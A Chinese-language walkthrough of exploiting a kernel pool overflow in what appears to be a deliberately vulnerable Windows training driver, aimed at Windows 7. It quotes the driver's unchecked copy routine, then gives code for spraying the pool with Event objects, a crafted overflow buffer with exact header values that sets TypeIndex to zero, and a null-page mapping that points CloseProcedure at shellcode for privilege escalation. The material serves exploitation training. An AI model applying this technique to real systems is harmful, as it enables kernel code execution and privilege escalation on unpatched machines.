POC分析:
__try {
DbgPrint("[+] Allocating Pool chunk\n");
// Allocate Pool chunk
KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,
(SIZE_T)POOL_BUFFER_SIZE,
(ULONG)POOL_TAG);
if (!KernelBuffer) {
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
}
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
}
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of the allocated Pool chunk to RtlCopyMemory()/memcpy().
// Hence, there will be no overflow
RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);
#else
DbgPrint("[+] Triggering Pool Overflow\n");
// Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability
// because the developer is passing the user supplied value directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of the allocated Pool chunk
RtlCopyMemory(KernelBuffer, UserBuffer, Size);
ExAllocatePoolWithTag分配一块池,然后User往里面传数据,
可以清楚的看到最后一行传递的是UserBuffer的大小,而不是KernelBuffer的大小,并且没有对其进行验证,所以如果传递的字节大于KernelBuffer的大小就会造成溢出。
漏洞利用
使用IDA分析 看到池标签是Hack 池Size为0x1F8
char buf[0x1F8];
RtlFillMemory(buf, 0X1F8, 0x41);
DeviceIoControl(hDevice, 0x22200f, buf, 0X1F8, NULL, 0, &bReturn, NULL);
写代码传入1F8字节个A观察
Hack被分配了0x200字节(PoolHeader+Buffer)
可以查到hack的池已经被A全部填满 下一个池Ntfr的PoolHeader紧接在后面,如果我们接着覆盖可能会出发蓝屏
想办法覆盖下一个池的内容从而指向我们的shellcode
在进行这些之前,也要整理一下池内存,这个要0x200字节,我们选择用8个0x40字节的Event对象来填充
先创建10000个整理碎片空间 然后再创建5000个是连续的 每隔8个释放一个 这样就有0x40字节大小的已分配和0x200字节的空闲这样的连续空间
VOID pool_spray()
{
for (int i = 0; i < 0x1000; i++)
spray_event[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
for (int i = 0; i < 0x1000; i++)
{
// 0x40 * 8 = 0x200
for (int j = 0; j < 8; j++)
CloseHandle(spray_event[i + j]);
i += 8;
}
}
在喷射池中释放可预测的空间之后开始利用漏洞
在hack池覆盖满A后面是下一块创建的Event对象的池紧跟着后面的结构是红色的_POOL_HEADER
黄色的_OBJECT_HEADER_QUOTA_INFO蓝色是_OBJECT_HEADER
注意到OBJECT_HEADER数据结构里的TypeIndex值。该值是一个指针数组的偏移量,它描述了该块的对象类型
我们的最后目的是把CloseProcedure字段覆盖为指向shellcode的指针,因为在最后会调用这些函数,把这里覆盖自然也就可以执行我们的shellcode,我们希望这里能够将Event这个结构放在我们能够操控的位置,在 Windows 7 中我们知道是可以在用户模式下控制0页内存的,所以我们希望这里能够指到0页内存,所以我们想把TypeIndex从0xc修改为0x0,在 Windows 7 下ObTypeIndexTable的前八个字节始终为0,所以可以在这里进行构造,需要注意的是,这里我们需要申请0页内存,我们传入的第二个参数不能是0,如果是0系统就会随机给我们分配一块内存,我们希望的是分配0页,如果传入1的话由于内存对齐就可以申请到0页内存,然后就可以放入我们shellcode的位置了
Exp分析
const int ModifySize = 0x28;
const int PoolSize = 0x1f8;
char buf[0x220];
memset(buf, 0x41, 0x1f8);
printf("[+]Started to construct pool...\n");
*(DWORD*)(buf + PoolSize + 0x00) = 0x04080040;
*(DWORD*)(buf + PoolSize + 0x04) = 0xee657645;
*(DWORD*)(buf + PoolSize + 0x08) = 0x00000000;
*(DWORD*)(buf + PoolSize + 0x0c) = 0x00000040;
*(DWORD*)(buf + PoolSize + 0x10) = 0x00000000;
*(DWORD*)(buf + PoolSize + 0x14) = 0x00000000;
*(DWORD*)(buf + PoolSize + 0x18) = 0x00000001;
*(DWORD*)(buf + PoolSize + 0x1c) = 0x00000001;
*(DWORD*)(buf + PoolSize + 0x20) = 0x00000000;
*(DWORD*)(buf + PoolSize + 0x24) = 0x00080000;
构造池的前三个数据结构,将TypeIndex改为0
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;
NT_SUCCESS(NtAllocateVirtualMemory(INVALID_HANDLE_VALUE,&Zero_addr,
0,&RegionSize,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE)) || Zero_addr != NULL);
*(DWORD*)(0x60) = (DWORD)&ShellCode;
创建0页并将Shellcode写入_OBJECT_TYPE的TypeInfo的CloseProcedure 处
然后对池进行整理
就可以利用漏洞提权